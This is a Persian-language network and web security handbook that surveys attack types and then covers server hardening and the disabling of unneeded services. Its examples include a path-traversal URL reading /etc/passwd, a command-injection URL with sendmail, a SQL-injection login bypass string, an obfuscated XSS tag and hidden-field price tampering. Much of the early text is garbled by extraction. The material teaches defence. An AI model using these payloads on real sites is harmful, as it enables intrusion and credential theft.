  ردک ها استفاده Service Pack ها و Hotfix از دی اصلاح آنها بایبرا         ·

  

War Dialing  
  

 اهداف یله مودم براي تلفن به وسی از شماره های رنجیک اتصال به یشگر برای ابزار پویکاستفاده از          ·
  نفوذگرانه 

ها تماس گرفته و شماره  از شماره ی رنجیکه با استفاده از مودم با ک باشد ی م  نرم افزارWar Dialer یک         ·
  ندک ی می موفق داشته اند را جمع آوریه تماسک ییها

  

Buffer Overflow  
  

  ند ک یف استفاده مي نوشته شده ضعیدهاک بافر از یزیحمله سرر         ·

  .ن حمله قرار دارندی نگردد در معرض ای طول آرگومانها بررسی مختلف نرم افزاریدهاکاگر در          ·

   

  

SYN flood  
  

 TCP/IP یلهاکدر پروت)  Three-Way handshaking (ی سه مرحله ایانکزم دست تيانک از مSYN flood حملات         ·
  .ندک یسوءاستفاده م

 به علت مواجهه با  ستميه سک شود ی شود و باعث میاره ارسال و رها مک از درخواست ها به صورت نصفه یادی تعداد ز        ·
  افتديار بک از مبود حافظهک



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٢٣    صفحه

  

Smurfing  
  

  ICMP سوء استفاده از         ·

  ني منبع دروغی با آدرسهایه سراسرک شبیک ی به سوی فرستادن بسته ها        ·

   افتدیار مک گردد و از ی م نگونه بسته ها مواجههی از ایلي با سی به صورت ناگهانی قربان        ·

   

Sniffing  
  

  ردي گیه انجام مکه اطلاعات شبيلک با استفاده از شنود و جذب Sniffing حملات         ·

 ی عبور و نامهایها ه رمزيلک شود و یل ميه و تحلیه اطلاعات جذب شده ، تجزيلکه ، ک شبیلگر داده هاي تحلیک با استفاده از         ·
  . گرددیه استخراج مک شبیاربرک

   

Ping of Death  
  

  ستم شمايستن سک درهم شیبزرگتر از حد معمول برا ی فرستادن بسته ها        ·

  .ردي گیو انجام مکسي سیابهایريس و مسکنويندوز ، لی ویمی قدیستمهاي سی روین حمله به صورت واقعی ا        ·

   

  ش پورتيپو
  

  ستم مشخص شودي باز سی شود تا پورتهای انجام مییله نرم افزارهايردن پورت به وسکش ی پو        ·

  ردي گیل مک حمله شیک فوق ، یر پورتهایب پذيردن نقاط آسکدا ي بعد از آن با پ        ·

   

   )Fragmentation Attack(ردن ک قطعه  ، حملات قطعه

  

  . باشدی میید اجراک یکجاد یردن آن و اک یابی و دوباره بازIP بسته یکردن کن دسته از حملات قطعه قطعه ی هدف ا        ·

   باشدیار متنوع ميسته حملات بسن دی ا        ·

  : از جمله         ·

o        Teardrop  

o        Teardrop2  

o        NewTear  

o        SynDrop  

o        Bonk  

o        Boink  
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ما  یترنتنیتها ایا همان سای تحت وب یاربردک ی برنامه هایه روک ی از حملاتیان شد حال به بخشيه بکج در شبیبخش حملات را
  :می پردازیرد مي گیصورت م

   

Buffer Overflow Expliots )بافر یزير سر (  
  

  ف ي ضعی هایسینو دکسوءاستفاده از 

  

  ردي گی وب انجام میا سرورهایستم عامل و ي سی اغلب رو        ·

 یزیر  سریکجاد یر با اکرد و هي گیز صورت مي ها نCGI یا پارامتر های و ی درخواستی فرم های پارامترهاین روي همچن        ·
  ندک ی خواسته شده به سرور نفوذ میبافر در پارامترها

  

  : مثال 
  

  . شدIIS ی بافر در سرور ویزیر  باعث سریار طولاني بسURL یکه با فرستادن ک Code Redرم ک

   

  cgi-bin ی پارامترهایارکدست
ن پارامترها اغلب یا ارانهک  خرابیارهاکدر جهت . ردي گی استفاده قرار م سرور موردییپت انتهایرکه در اسک یی پارامترهایارکدست

   شودیپت فرستاده میرک ها به سمت اسURLله يبه وس

  :مثال 
  :ند ک یر را مشاهده میز   URLت شما یر در ساکه

http://app.com/proc.cgi?file=prod.xml 

 :ندک یر را به سمت سرور شما ارسال می زURL دهد و یر ميي تغیسترا به صورت د proc.cgiپت یرکل توسط اسيل مورد تحلیاو فا

http://app.com/proc.cgi?file=../../etc/passwd 

 ش دهدیل پسورد شما را نمای فاprod.xml  شی نمای به جاproc.cgiپت یرکه اسک شود یله باعث مين وسيو به هم 

   

   شمای در فرمهای مخفیلد هاي فیارکدست

  ريير قابل تغي غیلد هاي تجاوز به محدوده فی برای مخفیلد هاير ارزش فييتغ

  :مثال
  :ن باشد یه به اي شبیزين است شامل چک باشد ممی می شخصیوترهايامپک از فروش یه جدولکت شما ی از سای صفحه ایک

>input type=”hidden” value=”2149.38  ”<٢١۴٩٫٣٨…  

  

لد به سمت سرور فرستاده ين فین جنس ، اید ایمت دارد و در هنگام خري دلار ق٢١۴٩٫٣٨ یوتر شخصيامپک یکه ک دهد یه نشان مک
  : دهدیر ميير تغیر آن را به صورت زک شود و هیم

 

>Input Type=”Hiddein” Value=”1.99 ”<٢١۴٩٫٣٨…  

  

 !ندک ی میداریدلار خر  ١٫٩٩مت يو حال آن را از شما به ق
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  .می پردازیرد مي گی ما انجام میتهای سایه روک یاز حملاتگر ی دین مقاله به تعدادی ایدر بخش بعد

  
   

   هایتورکريش داينما
  
  ینترل دسترسکا ی و یاربردک موجود در برنامه یها با استفاده از ضعف ها یتورکریش دای نمایر ، براکله هي به وسURLر ييتغ
   

  :مثال 
  
  :ند ک یر را مشاهده می زURLر که
   

http://app/dir3/ dir2/dir1/file.html 
  

  :ند ي آن را ببی هایتورکریلها و دایست فايد لي توانیر می زی هاURLر آن به ييبا تغ
   

http://app/dir3/ dir2/dir1/ 
http://app/dir3/ dir2/ 
http://app/dir3/  

  
  Cookies/Session یارکدست

  
  ها   Cookies/Sessionموجود در  ضعفها با استفاده از نقاط  کیوکا سرقت یت و یوس جعل هوک معیمهندس

   
  :مثال 

  :ند ير را ببیا نشست ها رشته زیها و  کیوکن است در مجموعه کر ممکه
   

j_sessionid=53f65f270c86a4 
  

ه وس  ک  باشد  ی م یاربرکه مقدار نشست همان نام ک تواند متوجه شود     یوس م ک مع ی مهندس یکر با   که  رمز شده   md5تم یله الگور يه ب
 .ندک شخص مورد نظر جا ی تواند خود را جایتم مین الگوریله ايگر اعضا به وسی دیاربرکرد نام کس با رمز و سپ. است

   
  في ها ضعACLله پسورد ها و ينفوذ به وس

  
ا      ي مواقع به وس   یف ، در بعض   ي ضع یها حدس زدن پسورد   ه ه ه    یدسترس   یشنریک  د یله استفاده از برنام ا  URL ب ه  ال برنک  در  یی ه م

   ها محافظت نشده استACLله يه به طور مناسب به وسکوب  یاربردک
   

  :مثال 
  :ه در آن نوشته است ک رود ی میر به صفحه اکه

Welcome to common-app Administration 
  
ا URLر کن هيهمچن . شودیش فرض استفاده مي به صورت پیاربردک ین برنامه هایشتر اي ب ی برا Adminلمه رمز   ک د ز یی ه ر ی  مانن
  :ند يب یم
   

/exchange/bob/msgid=12345 
 : دهدیر ميير تغیسپس آن را به صورت ز

   
/exchange/joe/msgid=1234 

  
  .ندک یدا مي پی دسترسjoe یل هاير به مک نشده باشد هیربنديک پی ها به طور مناسبینترل دسترسکاگر 

   
Cross-site Scripting (XSS)  
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  .ندک یاربر به سمت سرور ارسال مکه ک یگر ، در درخواستی دیها پتیرکا اسیو  HTML یردن تگ هاک  هيتعب

   
  : مثال

  
  :ند ک یه مين را تعبیه به اي شبیزير چکه
  

>IMG SRC="javasc #&٠٩; ript:alert(''JavaScript Executed ''(;"<  
  

اوا اس  ک ه ک شود یار بعث مکن یا . بردیار مک گردد به یه به سمت سرور ارسال م   ک ی فرم یکو آن را در      ستم ي ر در سک پت هیرکد ج
  .ند ، اجرا شودک يکلک فوق را کنيه لک یاربرکهر 

   
  ق دستورات به سروريتزر

  
 ی شود و باعث میق می به سرور تزریاربردک ها برنامه URLا یها و  لديق فی از طریستمي دستورات س  ی برخ یانه ا کریبه صورت ز  

  . اجرا شودیستم قربانيس ی روین دستورات به صورت ناخواسته ایگردد ا
   

  :مثال 
  :ند ک یر را مشاهده می زURLر که
   

http://foo.com/app.cgi?email=none@foo.com 
  

  :ند ک یاربر ارسال مک یر برای فوق را به صورت زURLسپس 
   

http://foo.com/app.cgi?email=none@foo.com;+sendmail+/etc/passwd 
  

  . دهدیش میستم را نماي سیها  پسوردی تمامURLن یر باشد ایب پذي وب ، آسیاربردکاگر برنامه 
   

   )SQL ) SQL Injectionق يتزر
  

ا   یه پا ک شود   یق شده باعث م   ین دستورات تزر  یا ی درخواست یله فرمها يبه وس  SQLق دستورات   یتزر ه طور ناخواسته       ییگاه داده انته  ب
  .نترل شودکر کتوسط ه

   
  :مثال 

دها ين ف ی ه ا ک  زند   یاو حدس م  . ندک یت را مشاهده م   یت سا یریبه بخش مد   فرم وارد شدن     یکر  که رم توسط      یل ه  SQL دستور  یک  ف  ب
  . شودیگاه داده اعمال میپا
  

  .ندک ی را وارد م’=’‘ or ‘    و پسوردیاربرکنام لد ين در فیبنابرا
  

  .ت شودی سایتیریش مدر وارد بخک گردد هین دستور باعث میر باشد ، ایب پذي وب آسیاربردکاگر برنامه 
   
   

  نترل خطاهاک داده حساس توسط عدم یجمع آور
  

  .مينکه یر را با اطلاعات حساس تغذک شود هیجاد میه اک ی ناخواسته ایله خطاهايبه وس
  . گرددیجاد میند اک یر وارد مکه هک ی غلطیها یثرا با ورودک این خطاهایا
  .ندک ی از آنها استفاده می حملات بعدین اطلاعات برای ایر با جمع آورکه
   

  :مثال 
  
  :ندک ی میر را جمع آوری مانند زیر اطلاعاتکه
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 Server headers (e.g. 
Server: IBM/Apache  ١٫٣٫١٩(  
 Error messages 
 SQL/Java exceptions 
 Failed Login messages 

 ¥٤٠٤ / non-existent file errors 
  
 .ستم داشته باشدي سی رویامل ترک مجهز تر شود و شناخت یعد حملات بیر براکه هک شود ین باعث میا
   

   سروریربنديک موجود در پیضعف ها
  
ا     یا ه صورت پ             ک ن ضعف ه تفاده م  ک ش فرض موجود است توسط ه      يه معمولا در نصب سرور ب ا  ی در اصل با . شود یر اس ام ه  ید ن
  .ار انداختکستم از يا در س باشد ریاز نميه مورد نک ییس هایا سروی  ردکش فرض را حذف ي پیاربرک
   

  :مثال 
  

ا    یاربرک ینام ها  ه نما       ي پ  ی و پسورد ه تفاده از نمون ا و    ) demo (یشی ش فرض ، اس ه ه تفاده از  ی برنام را ک  showasp.aspا اس  یه ب
  .د حتما آنها را در نظر گرفتیه باک باشد ی میی رود ، مثال هایار مکدها در سرور به کش ینما

   
  شهور  می هایريب پذيآس
  
  .ه اصلاح نشده اندک یریب پذيستم آسيس
  . وجود دارندی ویا سرور های عامل و یستم هايشتر در سيب
   

  :مثال 
  
 منتشر شد و IIS ی برا٢٠٠١ه در سال که ي اصلاح١٩٩ن يله منتشر شدند و همچنين وسي به همNimda و Code-Red یرمهاک

  .دی آیبه وجود م ی آپاچی سرور هایه براک ییهایریب پذين آسيهمچن
   

Zero-Day Exploits  
  

  . منتشر نشده استی به صورت عمومیه وجود دارد ولک یریب پذي آسیک
  .اگر وقت شد این یکی را آخر کتاب برای آشنای شما توضيح کامل ميدهم  ( . آن وجود نداردی برایه ايچ اصلاحيهنوز ه

   
  :مثال 

  
  .ستي از آنها در دسترس نیلاعاتچ اطيا هیه هنوز منتشر نشده است و ک یحملات

   
   

  :ع يمنا
1- Protecting Port 80:Techniques for Eliminating ,Web Application Vulnerabilities ,By Abhishek 
Chauhan, CTO ,Teros,Updated April 2004 
  
2-  Your Quick Guide to Common Attacks , Robert J .Shimonski , www.windowsecurity.com 
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  به صورت تفصيلیانواع حملات در شبکه های کامپيوتری 
  

امنيت اطلاعات و ایمن سازی شبکه های کامپيوتری از جمله موضوعاتی است که این روزها در کانون توجه تمامی سازمان ها و 
ان ، سرویس ها و پروتکل های متعددی در یک شبکه کامپيوتری به منظور ارائه خدمات به کاربر.  شده است  موسسات قرار گرفته

 دارای استعداد لازم برای انواع حملات بوده و لازم است در مرحله اول و در زمان  برخی از سرویس ها. نصب و پيکربندی می گردد
ا و  و در مرحله دوم سعی گردد که از نصب سرویس ه نصب و پيکربندی آنان ، دقت لازم در خصوص رعایت مسائل ایمنی انجام

در این مقاله قصد داریم از این زاویه به مقوله امنيت اطلاعات و ایمن سازی شبکه های .  غيرضروری ، اجتناب گردد  پروتکل های
شناسائی " قطعا. کامپيوتری پرداخته و در ادامه با انواع حملاتی که امروزه متوجه شبکه های کامپيوتری است ، بيشتر آشنا شویم 

ی و انواع حملاتی که مهاجمان با استفاده از آنان شبکه های کامپيوتری را هدف قرار می دهند ، زمينه سرویس های غيرضرور
 .  شبکه های کامپيوتری ایمن و مطمئن را بهتر فراهم می نماید  برپاسازی و نگهداری

   
  مقدمه 

  
 و پورت های باز می  کل های استفاده شده ، پروت  سرویس ها ی فعال حملات در یک شبکه کامپيوتری حاصل پيوند سه عنصر مهم

یکی از مهمترین وظایف کارشناسان فن آوری اطلاعات ، اطيمنان از ایمن بودن شبکه و مقاوم بودن آن در مقابل حملات است . باشد 
ورت پيش فرض در زمان ارائه سرویس دهندگان ، مجموعه ای از سرویس ها و پروتکل ها به ص) . مسئوليتی بسيار خطير و سنگين (

این موضوع ارتباط مستقيمی با سياست های یک سيستم عامل و نوع نگرش آنان به مقوله . و تعدادی دیگر نيز غير فعال شده اند فعال
 که کارشناسان امنيت   یکی از محورهائی است در زمان نقد امنيتی سيستم های عامل ، پرداختن به موضوع فوق.  دارد امنيت

  . سيتی بالا آنان را دنبال می نمایند با حسا اطلاعات
  

 که محور اصلی  اولين مرحله در خصوص ایمن سازی یک محيط شبکه ، تدوین ، پياده سازی و رعایت یک سياست امنيتی است
هر نوع برنامه ریزی در این رابطه مستلزم توجه به موارد زیر است . برنامه ریزی در خصوص ایمن سازی شبکه را شامل می شود 

 :  
  

    بررسی نقش هر سرویس دهنده به همراه پيکربندی انجام شده در جهت انجام وظایف مربوطه در شبکه •
  با خواسته ها ی یک سازمان   نصب شده انطباق سرویس ها ، پروتکل ها و برنامه های •
وتکل های  سرویس ها و پر افزودن و یا حذف(بررسی تغييرات لازم در خصوص هر یک از سرویس دهندگان فعلی  •

  ) .غيرضروری ، تنظيم دقيق امنيتی سرویس ها و پروتکل های فعال 
  

. تعلل و یا نادیده گرفتن فاز برنامه ریزی می تواند زمينه بروز یک فاجعه عظيم اطلاعاتی را در یک سازمان به دنبال داشته باشد 
فراموش نکنيم که فن آوری ها به . است امنيتی نمی گردد متاسفانه در اکثر موارد توجه جدی به مقوله برنامه ریزی و تدوین یک سي

سرعت و به صورت مستمر در حال تغيير بوده و می بایست متناسب با فن آوری های جدید ، تغييرات لازم با هدف افزایش ضریب 
و پيکربندی آن بدون نشستن پشت یک سرویس دهنده . مقاومت سرویس دهندگان و کاهش نقاط آسيب پذیر آنان با جدیت دنبال شود 

 بسياری از حملاتی که در آینده اتفاق خواهند افتاد  وجود یک برنامه مدون و مشخص ، امری بسيار خطرناک بوده که بستر لازم برای
 و نمی توان بدون   ابزارهای خاص خود بوده  و هر سيستم عامل دارای مجموعه ای از سرویس ها ، پروتکل ها. را فراهم می نماید 

 پتانسيل های آنان در جهت افزایش کارائی و ایمن سازی شبکه استفاده   به تمامی ابعاد آنان توجه و از جود یک برنامه مشخص و پویاو
پس از تدوین یک برنامه مشخص در ارتباط با سرویس دهندگان ، می بایست در فواصل زمانی خاصی ، برنامه های تدوین یافته . نمود

فراموش . رفته و تغييرات لازم در آنان با توجه به شرایط موجود و فن آوری های جدید ارائه شده ، اعمال گردد مورد بازنگری قرار گ
نکنيم که حتی راه حل های انتخاب شده فعلی که دارای عملکردی موفقيت آميز می باشند ، ممکن است در آینده و با توجه به شرایط پيش 

  .، نباشند  قادر به ارائه عملکردی صحيح  آمده
   

  
  وظيفه يک سرويس دهنده 

  
پس از شناسائی جایگاه و نقش هر سرویس دهنده در شبکه می توان در ارتباط با سرویس ها و پروتکل های مورد نياز آن به منظور 

 شرح زیر می برخی از سرویس دهندگان به همراه وظيفه آنان در یک شبکه کامپيوتری به. انجام وظایف مربوطه ، تصميم گيری نمود 
  : باشد 

  
·         Logon Server :  این نوع سرویس دهندگان مسئوليت شناسائی و تائيد کاربران در زمان ورود به شبکه را

سرویس دهندگان فوق می توانند عمليات خود را به عنوان بخشی در کنار سایر سرویس دهندگان نيز . برعهده دارند 
  . انجام دهند 
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·         Network Services Server :  این نوع از سرویس دهندگان مسئوليت ميزبان نمودن سرویس های مورد نياز
  : این سرویس ها عبارتند از .  برعهده دارند  شبکه را

  
- Dynamic Host Configuration Protocol )  DHCP (  
- Domain Name System ) DNS (  
- Windows Internet Name Service)  WINS (  
- Simple Network Management Protocol )  SNMP (  
  

·          Application Server:   این نوع از سرویس دهندگان مسئوليت ميزبان نمودن برنامه ها ی کاربردی نظير
  .  و سایر نرم افزارهای مورد نياز در سازمان را برعهده دارند Accountingبسته نرم افزاری 

·          File Server :  ، از این نوع سرویس دهندگان به منظور دستيابی به فایل ها و دایرکتوری ها ی کاربران
  . استفاده می گردد 

·         Print Server :  ، از این نوع سرویس دهندگان به منظور دستيابی به چاپگرهای اشتراک گذاشته شده در شبکه
  . استفاده می شود 

·         Web Server : نوع سرویس دهندگان مسئوليت ميزبان نمودن برنامه های وب و وب سایت های داخلی و این 
  . یا خارجی را برعهده دارند 

·         FTP Server :  این نوع سرویس دهندگان مسئوليت ذخيره سازی فایل ها برای انجام عملياتDownloading 
    .توانند به صورت داخلی و یا خارجی استفاده گردند سرویس دهندگان فوق می .  را برعهده دارندUploadingو 

·          Email Server :  این نوع سرویس دهندگان مسئوليت ارائه سرویس پست الکترونيکی را برعهده داشته و می
  .  ، نيز استفاده نمودGropuwareتوان از آنان به منظور ميزبان نمودن فولدرهای عمومی و برنامه های 

·         News/Usenet (NNTP (Server :  این نوع سرویس دهندگان به عنوان یک سرویس دهندهnewsgroup 
  .  نمایند   و کاربران می توانند اقدام به ارسال و دریافت پيام هائی بر روی آنان بوده 

  
ایست در ابتدا به این سوال پاسخ به منظور شناسائی سرویس ها و پروتکل های مورد نياز بر روی هر یک از سرویس دهندگان ، می ب

پاسخ به سوال .  و یا هر دو مورد  شبکه داخلی ، شبکه جهانی:  به چه صورت است ؟   نحوه دستيابی به هر یک از آنان داده شود که
فوق زمينه نصب و پيکربندی سرویس ها و پروتکل های ضروری و حذف و غير فعال نمودن سرویس ها و پروتکل های 

  .  در ارتباط با هر یک از سرویس دهندگان موجود در یک شبکه کامپيوتری را فراهم می نماید غيرضروری
   

  
  سرويس های حياتی و موردنياز 

  
در حالت ایده آل ، . هر سيستم عامل به منظور ارائه خدمات و انجام عمليات مربوطه ، نيازمند استفاده از سرویس های متفاوتی است 

شامل سرویس ها و پروتکل های ضروری و مورد نياز به منظور " دی یک سرویس دهنده می بایست صرفاعمليات نصب و پيکربن
 به این سرویس ها اشاره می  توليد کنندگان سيستم های عامل در مستندات مربوطه" معمولا. انجام وظایف هر سرویس دهنده باشد

  د ارائه شده برای پيکربندی و آماده سازی سرویس دهندگان ،زمينه نصب استاندار استفاده از مستندات و پيروی از روش های. نمایند
  . و پيکربندی مطمئن با رعایت مسائل ایمنی را بهتر فراهم می نماید 

  
 نصب و پيکربندی های خاصی نيز  بر روی آن نرم افزارهای متعددی" زمانی که کامپيوتری در اختيار شما گذاشته می شود ، معمولا

یکی از مطمئن ترین روش ها به منظور آگاهی از این موضوع که سيستم فوق انتظارات شما را .  آن اعمال شده است  بادر ارتباط 
 با استفاده از سياست ها و ليست ها ی از قبل مشخص شده Cleanمتناسب با برنامه تدوین شده ، تامين می نماید ، انجام یک نصب 

 می توان به سرعت از این امر آگاهی و هر مشکل را در محدوده خاص خود بررسی و بدین ترتيب در صورت بروز اشکال. است 
  ) .شعاع عمليات نصب و پيکربندی را به تدریج افزایش دهيم . ( برای آن راه حلی انتخاب نمود

   
  

  مشخص نمودن پروتکل های مورد نياز 
  

 بر روی سيستم نصب نمایند ، یکی از علل این موضوع ، برخی از مدیران شبکه عادت دارند که پروتکل های غيرضروری را نيز
 پروتکل ها در شبکه بوده و در برخی موارد نيز بر این اعتقاد هستند که شاید این  عدم آشنائی دقيق آنان با نقش و عملکرد هریک از

ود آنان نياز نمی باشد ، نمی بایست نصب پروتکل ها همانند سرویس ها ، تا زمانی که به وج. پروتکل ها در آینده مورد نياز خواهد بود
 که پاسخ به آنان امکان  با بررسی یک محيط شبکه با سوالات متعددی در خصوص پروتکل های مورد نياز برخورد نموده. گردند 

  شناسائی و نصب پروتکل های مورد نياز را فراهم نماید 
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با سرویس دهندگان ، نياز  ) Desktop( باط سرویس گيرندگان به چه نوع پروتکل و یا پروتکل هائی برای ارت          ·

  می باشد ؟ 
   سرویس دهنده ، نياز می باشد ؟   و یا پروتکل هائی برای ارتباط سرویس دهنده با  به چه نوع پروتکل        ·
 با سرویس  راه دوراز  ) Desktop(  و یا پروتکل هائی برای ارتباط سرویس گيرندگان   به چه نوع پروتکل        ·

    دهندگان ، نياز می باشد ؟
     آیا پروتکل و یا پروتکل های انتخاب شده ما را ملزم به نصب سرویس های اضافه ای می نمایند ؟        ·
   آیا پروتکل های انتخاب شده دارای مسائل امنيتی خاصی بوده که می بایست مورد توجه و بررسی قرار گيرد ؟         ·

  
در چنين . تعداد زیادی از شبکه های کامپيوتری ،از چندین سيستم عامل نظير ویندوز ، یونيکس و یا لينوکس ، استفاده می گردد در 

در ادامه می بایست در خصوص فرآیند .  به عنوان فصل مشترک بين آنان استفاده نمودTCP/IPمواردی می توان از پروتکل 
در صورتی که تصميم گرفته شود که  ) . DHCPبه صورت ایستا و یا پویا و به کمک  (  تصيم گيری نمودIPاختصاص آدرس های 

 نياز خواهيم DHCP ، انجام شود، به یک سرویس اضافه و با نام DHCP به صورت پویا و به کمک IPفرآیند اختصاص آدرس های 
از لحاظ امنيتی دارای درجه پائين تری نسبت به  مدیریت شبکه را آسانتر می نماید ولی   DHCP  با این که استفاده از. داشت 

 بلافاصله از منبع   ، می باشد چراکه کاربران ناشناس و گمنام می توانند پس از اتصال به شبکه ،IP آدرس های  اختصاص ایستای
این وضعيت در . ند را دریافت و به عنوان یک سرویس گيرنده در شبکه ایفای وظيفه نمایIP ، یک آدرس IPصادرکننده آدرس های 

یک فرد می تواند با استقرار در پارکينگ یک ساختمان و به کمک " مثلا. ارتباط با شبکه های بدون کابل غيرایمن نيز صدق می نماید
معادل سازی نام به آدرس " ، برای  TCP/IP پروتکل  . به شبکه شما با استفاده از یک اتصال بدون کابل ، متصل گرددLaptopیک 

 و با  در شبکه های ترکيبی شامل چندین سيستم عامل نظير ویندوز و یونيکس.  نيز استفاده می نماید DNSیک سرویس دهنده از " 
همزمان با انتخاب .  نيز نياز می باشد  WINS   به سرویسDNS  ، علاوه بر  شده است٢٠٠٠ و یا NT 4.0توجه به این که ویندوز 

 و   آنان ، می بایست بررسی لازم در خصوص چالش های امنيتی هر یک از آنان نيز بررسیپروتکل ها و سرویس های مورد نياز
راه حل انتخابی ، می بایست کاهش تهدیدات ) . مستندسازی ، ارج نهادن به زمان خود و دیگران است ( اطلاعات مربوطه مستند گردند

  . ال داشته باشد مرتبط با هر یک از سرویس ها و پروتکل ها را در یک شبکه به دنب
   

  
   پروتکل ها و سرويس های غيرضروری  مزايای غيرفعال نمودن

  
استفاده عملياتی از یک سرویس دهنده بدون بررسی دقيق سرویس ها ، پروتکل ها و پيکربندی متنتاظر با هر یک از آنان زمينه بروز 

م که مهاجمان همواره قربانيان خود را از بين سرویس فراموش نکني. تهدیدات و حملات را در یک شبکه به دنبال خواهد داشت 
بنابراین می بایست به سرعت در خصوص سرویس هائی که قصد . دهندگانی که به درستی پيکربندی نشده اند ، انتخاب می نمایند

ه از آنان وجود ندارد ، نصب سرویس ها و یا پروتکل هائی که قصد استفاد" قطعا. غيرفعال نمودن آنان را داریم ، تصميم گيری شود 
 در صورتی که این نوع از سرویس ها نصب و به درستی پيکربندی نگردند ، مهاجمان می  .امری منطقی و قابل قبول نخواهد بود

ک تهدید فوق می تواند از درون شبکه و یا خارج از شبکه متوجه ی. توانند با استفاده از آنان ، آسيب های جدی را متوجه شبکه نمایند 
 در شبکه یک سازمان توسط کارکنان کنجکا  بر اساس برخی آمارهای منتشر شده ، اغلب آسيب ها و تهدیدات. شبکه کامپيوتری گردد 

  .  صورت می پذیرد تا از طریق مهاجمان خارج از شبکه  و و یا ناراضی
  

سازمان ها و .  و کافی برای برنامه ریزی است بخاطر داشته باشيد که ایمن سازی شبکه های کامپيوتری مستلزم اختصاص زمان لازم
موسسات علاقه مندند به موازات عرضه فن آوری های جدید ، به سرعت از آنان استفاده نموده تا بتوانند از مزایای آنان در جهت 

 ، به سرعت رشد می  پيکربندی هر سيستم عامل  گزینه های انتخابی در خصوص تعداد و تنوع. اهداف سازمانی خود استفاده نمایند
 وجود توانائی لازم در جهت شناسائی و پياده سازی سرویس ها و پروتکل های مورد نياز در یک شبکه خود به یک  امروزه. نماید 

بنابراین لازم است کارشناسان فن آوری اطلاعات که مسئوليت شغلی آنان در ارتباط با شبکه و ایمن . مهارت ارزشمند تبدیل شده است
اعتقاد . ، خود را بهنگام نمایند" اشتراک دانش و تجارب "  اعتقاد به اصل بسيار مهم   اطلاعات است ، به صورت مستمر و باسازی

  . عملی به اصل فوق ، زمينه کاهش حملات و تهدیدات را در هر شبکه کامپيوتری به دنبال خواهد داشت 
   

  
   ) Attacks( حملات 

  
 شاهد افزایش حملات بر روی تمامی  اینترنت ،امروزه" ن کاربران شبکه های کامپيوتری ، خصوصابا توجه به ماهيت ناشناس بود

 شروع و تا اهداف مخرب و ویرانگر  از یک کنجکاوی ساده علت بروز چنين حملاتی می تواند. انواع سرویس دهندگان می باشيم 
  . ادامه یابد
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 حملات ، می بایست در مرحله اول قادر به تشخيص و شناسائی زمان و موقعيت  و توقف برای پيشگيری ، شناسائی ، برخورد سریع
به عبارت دیگر چگونه از بروز یک حمله و یا تهاجم در شبکه خود آگاه می شویم ؟ چگونه با آن برخورد . بروز یک تهاجم باشيم 

به منابع اطلاعاتی سازمان به حداقل مقدار خود  تا ميزان صدمات و آسيب   ممکن آن را متوقف نموده نموده و در سریعترین زمان
 کارشناسان امنيت  برسد ؟ شناسائی نوع حملات و نحوه پياده سازی یک سيستم حفاظتی مطمئن در مقابل آنان یکی از وظایف مهم

ویاروئی با آنان شناخت دشمن و آگاهی از روش های تهاجم وی ، احتمال موفقيت ما را در ر.اطلاعات و شبکه های کامپيوتری است 
بنابراین لازم است با انواع حملات و تهاجماتی که تاکنون متوجه شبکه های کامپيوتری شده است ، بيشتر آشنا شده . افزایش خواهد داد

جدول زیر برخی از حملات . و از این رهگذر تجاربی ارزشمند را کسب تا در آینده بتوانيم به نحو مطلوب از آنان استفاده نمائيم 
  : متداول را نشان می دهد 

   
 انواع حملات 

Denial of Service) DoS ( &Distributed Denial of 
Service (DDoS ( 

Back Door Spoofing 
Man in the Middle Replay  

TCP/IP Hijacking Weak Keys  
Mathematical  Password Guessing  

Brute Force Dictionary  
Birthday Software Exploitation 

Malicious Code Viruses 
Virus Hoaxes Trojan Horses 
Logic Bombs Worms 
Social Engineering Auditing 

System Scanning   
  
  

  نواع حملات در شبکه های کامپيوتری 
 

کربندی سرویس ها و پروتکل  ، نصب و پي  شناسائی سرویس ها و پروتکل ها ی غيرضروری  ضرورت در بخش اول این مقاله به
همانگونه که در بخش اول این مقاله اشاره شد ، حملات در . های مورد نياز با لحاظ نمودن مسائل امنيتی در یک شبکه ، اشاره گردید 

 . و پورت های باز می باشد  ، پروتکل های استفاده شده  سرویس ها ی فعال یک شبکه کامپيوتری ، حاصل پيوند سه عنصر مهم
کارشناسان امنيت اطلاعات می بایست با تمرکز بر سه محور فوق ، شبکه ای ایمن و مقاوم در مقابل انواع حملات را ایجاد و نگهداری 

  . نمایند
 

 نواع حملاتا
Denial of Service) DoS ( &Distributed Denial of 

Service (DDoS ( 
Back Door Spoofing 

Man in the Middle Replay  
TCP/IP Hijacking Weak Keys  

Mathematical  Password Guessing  
Brute Force Dictionary  

Birthday Software Exploitation 
Malicious Code Viruses 

Virus Hoaxes Trojan Horses 
Logic Bombs Worms 
Social Engineering Auditing 
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System Scanning   
  

   DoSحملات از نوع 
  

از کار (  ، ایجاد اختلال در منابع و یا سرویس هائی است که کاربران قصد دستيابی و استفاده از آنان را دارند DoSهدف از حملات 
در این نوع حملات، . مهمترین هدف این نوع از حملات ، سلب دستيابی کاربران به یک منبع خاص است ) . انداختن سرویس ها 

ش های متعددی تلاش می نمایند که کاربران مجاز را به منظور دستيابی و استفاده از یک سرویس خاص ، مهاجمان با بکارگيری رو
تلاش در جهت ایجاد . دچار مشکل نموده و بنوعی در مجموعه سرویس هائی که یک شبکه ارائه می نماید ، اختلال ایجاد نمایند 

 ، ممانعت کاربران مجاز به منظور دستيابی به یک سرویس ، ایجاد اختلال ترافيک کاذب در شبکه ، اختلال در ارتباط بين دو ماشين
در برخی موارد و به منظور انجام حملات گسترده از . در سرویس ها ، نمونه هائی از سایر اهدافی است که مهاجمان دنبال می نمایند 

استفاده صحيح و .  برای تهاجم اصلی ، فراهم گردد  به عنوان نقطه شروع و یک عنصر جانبی استفاده شده تا بستر لازمDoSحملات 
 FTPیک مهاجم می تواند از یک سایت " مثلا.  را به دنبال داشته باشد DoSقانونی از برخی منابع نيز ممکن است ، تهاجمی از نوع 

غيرقانونی ، استفاده از  می باشد ، به منظور ذخيره نسخه هائی از نرم افزارهای anonymousکه مجوز دستيابی به آن به صورت 
این نوع از حملات می تواند غيرفعال شدن کامپيوتر و یا . فضای ذخيره سازی دیسک و یا ایجاد ترافيک کاذب در شبکه استفاده نماید 

بکه و حملات فوق با محوریت و تاکيد بر نقش و عمليات مربوط به هر یک از پروتکل های ش. شبکه مورد نظر را به دنبال داشته باشد 
